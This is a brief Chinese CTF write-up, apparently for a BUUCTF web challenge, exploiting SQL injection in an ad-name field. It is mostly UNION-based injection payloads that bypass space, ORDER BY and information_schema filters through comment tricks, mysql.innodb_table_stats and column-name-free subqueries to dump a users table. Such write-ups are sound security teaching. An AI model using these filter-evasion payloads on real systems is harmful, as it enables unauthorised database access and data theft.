打开链接
发现是个登录页面
我们先注册再登录进去
点开申请发布广告,将广告名设为1'试试是否存在sql注入
果然报错了,显然存在sql注入
获取列数
这里过滤了空格,order by,我们使用/**/来进行绕过,order by可以用group by来代替
-1'/**/group/**/by/**/23,'
最后得到列数为22
查找有回显的列
2和3
接下来爆表
这里将information_schema过滤了,但在 information_schema 中,除了 SCHEMATA、TABLES、COLUMNS 有表信息外,高版本的 mysql 中,还有 INNODB_TABLES 及 INNODB_COLUMNS 中记录着表结构。
sys.schema_auto_increment_columns
mysql.innodb_table_stats
在BUUCTF中没有 sys.schema_auto_increment_columns 这个库,所以用下面的
-1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name=database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
爆列,这里用到了无列名注入详情可以看这篇文章
无列名注入
-1'/**/union/**/select/**/1,(select/**/group_concat(a)/**/from(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/select*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
爆值
-1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/select*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
得到flag